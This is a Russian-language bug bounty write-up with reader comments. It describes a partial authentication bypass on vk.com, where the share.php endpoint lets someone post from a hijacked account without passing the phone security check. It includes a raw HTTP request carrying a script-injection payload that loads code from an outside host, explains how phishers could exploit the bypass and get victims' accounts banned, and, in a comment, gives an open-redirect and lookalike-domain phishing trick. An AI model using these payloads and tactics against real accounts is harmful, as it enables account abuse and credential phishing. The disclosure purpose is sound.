[BugBounty] Частичный обход аутентификации vk.com

    Поставил перед собой задачу — обойти аутентификацию Вконтакте. Когда ip адрес человека, который входит на аккаунт vk меняется, нужно ввести полный номер телефона. Если злоумышленник входил через телефон; пароль, то он сможет совершать действия на аккаунте. Но если он входил через email; пароль или через подмену cookies, то он не сможет совершать какие либо действия на аккаунте.

    image Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.



    Брутфорсинг здесь работать не будет, так как у нас всего 3 попытки ввести номер телефона. Пытался выполнять все возможные get и post запросы, но все время происходил редирект на https://vk.com/login.php?act=security_check.

    image

    Можно было бы выполнить post запрос из другого аккаунта, для этого нам нужен csrf token(hash), но я смог найти только токен для логаута https://login.vk.com/?act=logout&hash=dbefb8b0bba973b95e&reason=tn&_origin=https://vk.com.

    Нам предлагают изменить номер телефона на аккаунте vk.com/restore?act=change_phone, здесь можем видеть количество непрочитанных сообщений (не баг, а фича, но убрать это не мешало бы) и настройки пунктов меню.

    Чуть позже, случайно я наткнулся на функционал шаринга ссылки https://vk.com/share.php?url=https://ok.ru, на мое удивление, эта ссылка открылась:

    image

    Попытался запостить себе ссылку на стенку и получил сообщение.

    Поздравляем! Ссылка появится на Вашей странице.

    image

    Сначала не поверил, подумал, что security_check заблокировал всё, но зашел на стенку и увидел, что ссылка успешно запостилась )



    На стену можно расшаривать не только ссылки, а и обычный пост, для этого нужно оставить параметр url пустым https://vk.com/share.php?url=.

    image

    Также, если мы владелец или администратор сообщества, мы можем запостить на стену сообщества запись в обход ввода номера телефона.

    Друзьям мы не можем отправить сообщение, так как vk.com/login.php?act=security_check блокирует получение списка друзей. Запрос отправки url другу имеет вид.

    POST /al_mail.php HTTP/1.1
    Host: vk.com
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Referer: https://vk.com/share.php?url="><script src=https://securityz.net/t.js?320408></script></script>
    Content-Length: 139
    Cookie: remixlang=0
    Connection: close
    
    act=a_send&al=1&chas=89c444076031dff154&from=share&media=share%3A0_0&message=ww&share_desc=&share_title=&share_url=&title=&to_ids=204690***

    Где to_ids — иды друзей, chas — csrf токен, значит, мы не можем просто подставить ид друга, токен нам мешает. С запроса шаринга ссылки на стену токен мы взять не можем, так там совсем другая переменная — hash=bb6e1ce8db5f1419e3.

    Сразу после обнаружения уязвимости я написал репорт на h1, мне сказали, что это дубликат, ранее уже присылали такой репорт.

    Чтобы узнать примерную дату, когда прислали репорт, я обращаюсь к поиску по репортам, смотрю репорт, ид которого наиболее близок к моему и смотрю дату — hackerone.com/reports/170894. Оказалось, репорт этот прислали 4 месяца назад.

    Очень печально, что vk за это время не смогли исправить уязвимость. Некоторые репорты висят годами, уверен, что много баг хантеров в bug bounty vk наткнулись на дубликаты, так как ни для кого не секрет, что у ВК много репортов и много работы, а безопасников очень мало.

    Пруф — уязвимость в видео файлах, которую прислал Алексей Писаренко. Ожидает устранения уже 2 года!

    image

    Ещё один репорт, который висит уже 1 год:

    image

    Эта статья создана только для того, чтобы привлечь внимание разработчиков Вконтакте, надеюсь, они исправят данную уязвимость, увеличат штат безопасников и начнут оперативно устранять уязвимости.

    Выводы: Цель фишеров — спамить, она остается выполнимой, аутентификацию можно забайпасить.

    P.S: В процессе обхода аутентификации обнаружил уязвимость, которая позволяет подписаться на любую групу vk, не зная номера телефона жертвы, и ещё одну, с помощью которой можно полностью обойти ввод номера, но пока об этом не написал репорт.

    image

    P.P.S: Об импакте уязвимости:

    1. Эта уязвимость может использоваться при массовых фишинговых атаках на пользователей (сейчас набирает популярность создание фейков ВК и распространение их через личные сообщения, а также соц инженерия, применимая на друзьях взломанных аккаунтов), часто фишеры при получении логов сталкиваются с проблемой входа в аккаунт и дальнейшего распространения url фишингового сайта (получают только email;password), с этой уязвимостью они могут получать намного больше логов за счет того, что делятся своей ссылкой на стене и в группе жертвы.

    2. Чтобы заблокировать или заморозить страницу пользователя — нужно поделится запрещенной ссылкой у себя на стене и аккаунт сразу заблокируют.

    Группа VK и мой твиттер внизу. Буду очень рад подписке :)

    Рекомендую прочитать мою предыдущую статью «Iframe injection и self xss на более чем 20 000 сайтах alexarank UA/RU». И следующую статью [Багхантинг] Blind XSS уязвимость на сайтах службы поддержки omnidesk .
    Share post

    Comments 13

      +3
      Они, судя по всему, не особо волнуются по поводу некоторых уязвимостей.
      Один мой реквест пролежал у них на h1 год с лишком. Я уже и сам забыл о нем. Как-то наткнулся потом, написал. После напоминаний даже ответили, чем-то вроде: «Вот это мы не считаем уязвимостью, а вот об этом мы и без вас знаем, как-нибудь может пофиксим». Пометили «Informative» и закрыли. Сейчас проверил — так и не пофиксили :(
        0
        submitted a report to VK.com. Nov 20th (2 months ago)
        Это может использоваться для социальной инженерии(фейковая страница ВК).

        Пишем на стенку google.com, когда жертва кликает по ссылке, то она открывает новое окно и точно заметит, что это фейковый вк и закроет его, потому что оригинальный vk.com открыт.

        Логика этого механизма такова: если домен vk.com — открывает в текущем окне, если чужой домен — то в новом окне.

        Обходим это — пишем https://vk.com/away.php?to=http://google.com, жертва открывает фейковую страницу вк в текущем окне и не подозревает, что это не настоящий вк.

        Обходим другим способом: https://vk.com.securityz.net.

        Если ещё и захостить домен, что сбивает с толку — типа http://vkvk.com/, и ещё ssl купить, то большая база аккаунтов вк гарантирована).

        Рекомендации к устранению: Предлагаю поставить на https://vk.com/away.php?to= поставить такую же валидацию, как и на чужие домены.

        exe closed the report and changed the status to Informative. Nov 21st (2 months ago)
        Это не уязвимость.


        Понимаю, не уязвимость, а фича, но пофиксить её необходимо. О ней известно уже 2 года.
        0
        Чтобы заблокировать или заморозить страницу пользователя — нужно поделится запрещенной ссылкой у себя на стене и аккаунт сразу заблокируют

        Могут еще двушечку дать :(
          0
          Чтобы заблокировать или заморозить страницу пользователя — нужно....

          Интересно, а как доказать что ты не верблюд.
            0
            В этой стране — никак.
            Чисто теоретически, если сохраняется IP постера, то можно, если докажешь факт неправомерного доступа к твоему аккаунту.
          –1
          чёт не работает ничего
          • UFO just landed and posted this here
              0
              Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.

              Через мобильную версию сайта можут получиться баги намного серьезнее( в смысле подобный баг может дать больше простора, ибо м.версия очень отстают от десктопа).
                +1
                Чем объясняется желание админов оставлять уязвимости открытыми? Однажды на одном популярном сайте нашёл уязвимость, которая позволяла обходить капчу. Написал про неё админу. Не хотел просто так отдавать, но админ предложил только «фантики» этого сайта. Тогда я решил сделать спам-бота. Никак не получалось спамить во много потоков т.к. сайт был под cloudflare. Спустя неделю после моего письма админу эту уязвимость нашли и прикрыли. Я уже забыл про этот случай, но недавно копался в доках к api и нашёл старую капчу, которая удивительно легко поддавалась брутфорсу. Всего 6 вариантов ответа перебирались меньше секунды. Посчитал это уязвимостью, отчитался админу и взял «фантиков» на 300 рублей. Прошло чуть больше недели. Уязвимость не прикрыта.
                  +1
                  зато косяк с интерфейсом они попровили на следующий же день после обращения
                    +1
                    И ведь подобная история далеко не первая, у кого-то еще остается желание участвовать в их bugbounty-программе?
                      +1
                      Не касательно багов, а в целом про отношение поддержки и их реакции на репорты пользователей. Например, к моему товарищу постоянно кидают инвайты распространители наркоты (фамилия и имя на А, поэтому есть подозрение, что он первый в списке перебора ботами или что-то вроде того). Паттерн поведения у них очень простой, страница взломанного аккаунта изобилует прочей рекламой, а на аватарке написан id канала в телеграме, куда обращаться за искомым товаром. Поддержка говорит: «Ничего не можем с этим поделать, помечайте такие записи как спам». Походу простой статистический и fraud анализ у них отсутствует как класс, не говорю уже про всякие NN и Deep Learning.
                        +1
                        Похожая ситуация была с LinkedIn, после того, как я сообщил о проблеме (возможность угона аккаунта, более того, несколько раз видел проявления на аккаунтах знакомых) и получил ответ «это не баг, это такая фича».

                        Хватило одного вопроса «Ну тогда я публикую пошаговый мануал для воспроизведения со ссылкой на Вас и цитатой официального ответа? Ну т.е. я вам отрепортил, вы одобрили, что это не баг, а стандартный функционал.» После этого запрос был эскалирован до главы подразделения и бага была закрыта за несколько дней.

                        Я к чему, ИМХО имеет смысл следовать следующим правилам:
                        1. Всегда репортим уязвимость, независимо от того есть вознаграждение или нет.
                        2. Если саппорт, сказал, что это не баг, ласково спрашиваем, «ну я тогда публикую полную инструкцию со ссылкой на вас, т.е. вы проревьюили и решили, что это не уязвимость». И если не передумали — публикуем.
                        3. Если саппорт сказал, что это баг, немедленно публикуем статью о проблеме и как ее избежать, но без деталей для эксплуатации.
                        4. Если за 6 месяцев нет движения или сразу после фикса — публикуем полные детали. Я бы еще после фикса уточнял, можно ли публиковать или у них есть что-то недофикшенное и когда планируют закончить (так и сделал)

                        P.S. Bug Bounty у LinkedIn нет, да я и не ради вознаграждения тратил свое время. Несколько покоробил факт, что после этого (а может совпало) мне начали сыпаться предложения оплатить премиум.

                        Only users with full accounts can post comments. Log in, please.